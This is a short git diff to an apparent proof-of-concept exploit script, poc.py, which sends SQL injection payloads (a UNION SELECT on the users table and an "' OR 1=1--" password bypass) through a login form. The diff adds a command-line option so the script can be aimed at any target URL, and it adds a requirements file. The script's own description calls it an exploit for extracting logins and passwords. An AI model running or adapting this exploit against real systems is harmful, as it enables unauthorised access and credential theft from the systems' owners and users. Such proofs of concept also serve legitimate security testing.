diff --git a/poc.py b/poc.py
old mode 100644
new mode 100755
index a97d7d9..bbfc21f
--- a/poc.py
+++ b/poc.py
@@ -1,7 +1,13 @@
+#!/usr/bin/env python3
 import requests
 import re
+import argparse
 
-BASE_URL = "http://localhost:8000"
+parser = argparse.ArgumentParser(description="Exploit script for extracting logins and passwords.")
+parser.add_argument("--base-url", default="http://localhost:80", help="Base URL of the target application")
+args = parser.parse_args()
+
+BASE_URL = args.base_url
 
 login_payload = "' UNION SELECT login FROM users--"
 form_data = {"login": login_payload, "password": "' OR 1=1--"}
diff --git a/poc_recs.txt b/poc_recs.txt
new file mode 100644
index 0000000..663bd1f
--- /dev/null
+++ b/poc_recs.txt
@@ -0,0 +1 @@
+requests
\ No newline at end of file